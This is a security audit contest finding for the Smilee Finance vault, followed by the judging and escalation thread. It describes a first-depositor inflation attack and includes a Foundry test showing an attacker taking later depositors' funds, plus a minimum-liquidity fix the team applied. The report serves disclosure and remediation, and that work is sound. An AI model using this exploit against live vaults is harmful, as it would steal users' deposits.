santipu_ - Vault Inflation Attack

[sherlock-admin4]

santipu_

medium

Vault Inflation Attack

Summary

An attacker can be the first and only depositor on the vault during the first epoch in order to execute an inflation attack that will steal the deposited funds of all depositors in the next epoch.

Vulnerability Detail

A malicious user can perform a donation to execute a classic first depositor/ERC4626 inflation Attack against the new Smilee vaults. The general process of this attack is well-known, and a detailed explanation of this attack can be found in many of the resources such as the following:

• https://blog.openzeppelin.com/a-novel-defense-against-erc4626-inflation-attacks
• https://mixbytes.io/blog/overview-of-the-inflation-attack

In short, to kick-start the attack, the malicious user will often usually mint the smallest possible amount of shares (e.g., 1 wei) and then donate significant assets to the vault to inflate the number of assets per share. Subsequently, it will cause a rounding error when other users deposit.

However, in Smilee there's the problem that the deposits are not processed until the epoch is finished. Therefore, the attacker would need to be the only depositor on the first epoch of the vault; after the second epoch starts, all new depositors will lose all the deposited funds due to a rounding error.

This scenario may happen for newly deployed vaults with a short maturity period (e.g., 1 day) and/or for vaults with not very popular tokens.

Impact

An attacker will steal all funds deposited by the depositors of the next epoch.

PoC

The following test can be pasted in IGVault.t.sol and be run with the following command: forge test --match-test testInflationAttack.

function testInflationAttack() public {
    // Attacker deposits 1 wei to the vault
    VaultUtils.addVaultDeposit(bob, 1, admin, address(vault), vm);

    // Next epoch...
    Utils.skipDay(true, vm);
    vm.prank(admin);
    ig.rollEpoch();

    // Attacker has 1 wei of shares
    vm.prank(bob);
    vault.redeem(1);
    assertEq(1, vault.balanceOf(bob));

    // Other users deposit liquidity (15e18)
    VaultUtils.addVaultDeposit(alice, 10e18, admin, address(vault), vm);
    VaultUtils.addVaultDeposit(alice, 5e18, admin, address(vault), vm);

    Utils.skipDay(true, vm);

    // Before rolling an epoch, the attacker donates funds to the vault to trigger rounding
    vm.prank(admin);
    baseToken.mint(bob, 15e18);
    vm.prank(bob);
    baseToken.transfer(address(vault), 15e18);

    // Next epoch...
    vm.prank(admin);
    ig.rollEpoch();

    // No new shares have been minted
    assertEq(1, vault.totalSupply()); 

    // Now, attacker can withdraw all funds from the vault
    vm.prank(bob);
    vault.initiateWithdraw(1);

    // Next epoch...
    Utils.skipDay(true, vm);
    vm.prank(admin);
    ig.rollEpoch();

    // The attacker withdraws all the funds (donated + stolen)
    vm.prank(bob);
    vault.completeWithdraw();
    assertEq(baseToken.balanceOf(bob), 30e18 + 1);
}

Code Snippet

https://github.com/sherlock-audit/2024-02-smilee-finance/blob/main/smilee-v2-contracts/src/Vault.sol#L324-L349

Tool used

Manual Review

Recommendation

To mitigate this issue it's recommended to enforce a minimum liquidity requirement on the deposit and withdraw functions. This way, it won't be possible to round down the new deposits.

    function deposit(uint256 amount, address receiver, uint256 accessTokenId) external isNotDead whenNotPaused {
        // ...

        _state.liquidity.pendingDeposits += amount;
        _state.liquidity.totalDeposit += amount;
        _emitUpdatedDepositReceipt(receiver, amount);

+       require(_state.liquidity.totalDeposit > 1e6);

        // ...
    }

    function _initiateWithdraw(uint256 shares, bool isMax) internal {
        // ...

        _state.liquidity.totalDeposit -= withdrawDepositEquivalent;
        depositReceipt.cumulativeAmount -= withdrawDepositEquivalent;

+       require(_state.liquidity.totalDeposit > 1e6 || _state.liquidity.totalDeposit == 0);

        // ...
    }

[sherlock-admin4]

2 comment(s) were left on this issue during the judging contest.

panprog commented:

low, because it is highly unlikely that there will be just 1 wei deposit in the first epoch. If it is, something is wrong with the vault in the first place and might be considered admin mistake.

takarez commented:

valid; first deposit attack; medium(7)

[metadato-eth]

SAME AS 137 and 142 LOW We agree vault inflation attack can mathematically be possible but Smilee vaults are not standard ones. For this attack to happen there must be a single depositor in the very first epoch. First epoch has a custom lenght and it is used by the team simply to set up the vault and launch it with some initial capital (otherwise the IG side would have 0 notional to trade). Therefore the exploit is basically not possible. In any case we implemented the fix.

[sherlock-admin4]

The protocol team fixed this issue in PR/commit https://github.com/dverso/smilee-v2-contracts/commit/da38dba1ec14e7888c0e374dd325dd94339a5b5a.

[panprog]

Fix review: Fixed

[sherlock-admin4]

The Lead Senior Watson signed off on the fix.

[santipu03]

Escalate

I think that this issue should be medium severity as it fits with the description on the Sherlock rules:

• Causes a loss of funds but requires certain external conditions or specific states, or a loss is highly constrained. The losses must exceed small, finite amount of funds, and any amount relevant based on the precision or significance of the loss.
• Breaks core contract functionality, rendering the contract useless or leading to loss of funds.

This issue will cause a loss of funds, breaking a core functionality of the protocol, as the attacker will steal the deposits of users depositing on the next epochs after the attack. Also, it requires certain external conditions or specific states because an attacker must be the only depositor on the first epoch (or on an epoch with 0 current liquidity).

Also, regarding the sponsor comments, there is no evidence provided to Watsons on the public domain during the audit contest period (14 Feb to 6 Mar) that states that the protocol team will perform an initial deposit on the first epoch when deploying the vault.

[sherlock-admin2]

Escalate

I think that this issue should be medium severity as it fits with the description on the Sherlock rules:

• Causes a loss of funds but requires certain external conditions or specific states, or a loss is highly constrained. The losses must exceed small, finite amount of funds, and any amount relevant based on the precision or significance of the loss.
• Breaks core contract functionality, rendering the contract useless or leading to loss of funds.

This issue will cause a loss of funds, breaking a core functionality of the protocol, as the attacker will steal the deposits of users depositing on the next epochs after the attack. Also, it requires certain external conditions or specific states because an attacker must be the only depositor on the first epoch (or on an epoch with 0 current liquidity).

Also, regarding the sponsor comments, there is no evidence provided to Watsons on the public domain during the audit contest period (14 Feb to 6 Mar) that states that the protocol team will perform an initial deposit on the first epoch when deploying the vault.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

[cvetanovv]

This issue should remain low/invalid. As the sponsor said the first epoch is completely under admin control and will not be used by the user. You're right that it's not written in the readme, but how is it possible that the protocol describes all possible edge cases every time? By design, this epoch will only be used by the protocol, not by users.

[santipu03]

@cvetanovv

I may be wrong, but what I get from reading Sherlock's rules is that only the contest README has more importance than the general rules for valid issues:

Hierarchy of truth: Contest README > Sherlock rules for valid issues > protocol documentation (including code comments) > protocol answers on the contest public Discord channel. While considering the validity of an issue in case of any conflict the sources of truth are prioritized in the above order.

Therefore, if I'm not missing something, this issue should be considered valid because the sponsor's mitigation wasn't mentioned on the README.

[nevillehuang]

Agree with @santipu03 unless such mitigations is explicitly mentioned in the known issue section, any possible mitigation would be an assumption, and so this issue should remain as valid medium, of course unless there is sufficient information to back up the intended mitigation mentioned by sponsor.

[Czar102]

Unless the sponsor has communicated these plans during the time of the audit, I'm planning to accept the escalation and make this a valid Medium.

@cvetanovv @nevillehuang @santipu03 Is only #137 a duplicate of this issue? I can see that the duplication status on #142 is disputed, it will be considered separately.

[nevillehuang]

@Czar102 Yes to my knowledge, only #137 qualifies as an duplicate. #142 should be a separate issue to be considered

[0xjuaan]

Hmm, isn't this low severity since it requires that throughout the first epoch, nobody deposits other than the attacker?

A normal vault inflation attack can be considered H/M since the attacker would simply need to be the first depositor and this can be achieved through front-running.

However this attack would require them to be the only depositor within the first epoch, which has can last 1 day, or even 1 month in some cases- so to me it seems like the likelihood would bring it to low severity, but of course I will respect the judge's decision.

[Czar102]

However this attack would require them to be the only depositor within the first epoch, which has can last 1 day, or even 1 month in some cases- so to me it seems like the likelihood would bring it to low severity, but of course I will respect the judge's decision.

Indeed, but there are cases when the attacker being the only depositor is plausible. Because of that, I think Medium severity is appropriate.

Planning to accept the escalation and make this issue a valid Medium. #137 will be a duplicate, status of #142 is TBD.

[Czar102]

Result: Medium Has duplicates

Only #137 is a duplicate.

[sherlock-admin4]

Escalations have been resolved successfully!

Escalation status:

• santipu03: accepted

[0xIronMan]

Result: Medium Has duplicates

Only #137 is a duplicate.

@Czar102 Has Duplicates label is missed for this issue